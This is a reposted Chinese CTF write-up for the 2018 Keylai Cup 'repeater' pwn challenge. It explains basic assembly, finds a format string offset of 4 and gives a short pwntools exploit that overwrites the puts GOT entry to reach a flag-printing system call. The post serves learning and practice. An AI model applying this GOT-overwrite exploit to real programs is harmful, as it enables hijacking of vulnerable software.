欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[Pwn]格式化字符串漏洞--2018科来杯 repeater

程序员文章站 2022-07-15 15:06:53
...

2018年山东省科来杯Pwn题目Repeater复现

补充一点汇编语言基础知识

对于我这种对汇编语言不怎么感冒的人来说,补充一些相应的汇编语言的基础知识还是很重要的

这里就针对本题中用到的汇编指令进行相应补充

lea与mov的区别:lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax (相当于把地址赋给eax),而不是把ebx+8处的内存地址里的数据赋给eax。

而mov指令则恰恰相反,例如:
mov eax,[ebx+8]则是把内存地址为ebx+8处的数据赋给eax。

cmp(compare)指令进行比较两个操作数的大小,若执行指令后ZF=1
则说明两个数相等,因为zero为1说明结果为0。

jnz结果不为零(或不相等)则转移,jz即零标志为1就跳转。
ZF汇编语言中的PSW标志寄存器中的一位,而JZ则是根据ZF决定是否跳转。
jz=jump if zero,即零标志为1就跳转,一般与cmp连用,用以判断两数是否相等。jz的另一种写法就是je,je=jump if equal,jz和je的作用是完全一样的。

Repeater WP

checksec 一下题目所给文件
[Pwn]格式化字符串漏洞--2018科来杯 repeater
运行一下试试看
[Pwn]格式化字符串漏洞--2018科来杯 repeater
好像看不出什么
测试一下格式化字符串漏洞
[Pwn]格式化字符串漏洞--2018科来杯 repeater
数一下 偏移为4
丢进ida看一下主程序
ctrl 1 看一下字符串,发现敏感字符串
[Pwn]格式化字符串漏洞--2018科来杯 repeater
双击 ctrl x 跟进
[Pwn]格式化字符串漏洞--2018科来杯 repeater
可以发现程序有call语句调用system,而system就是输出flag地址从而得到flag

但是根据上面的汇编语句或者getflag字段内容可以发现这里存在一个判断语句
[Pwn]格式化字符串漏洞--2018科来杯 repeater
[Pwn]格式化字符串漏洞--2018科来杯 repeater
2018h = (8216)₁₀,判断 eax是否等于8216 ,ZF=1则两数相等,相应的ZF=1意味着结果为0,即jnz不跳转。随即执行将eax压入栈,再执行call语句调用,即可得到flag。

根据偏移为4 编写exp脚本

from pwn import *
context.log_level = 'DEBUG'
p = process("./repeater")
elf=ELF('./repeater')
puts_got=elf.got['puts']
p.recvuntil("your msg:")
payload = fmtstr_payload(4,{puts_got:0x8048638})
p.sendline(payload)
p.interactive()

运行即可得到flag

相关标签: CTF Pwn学习 pwn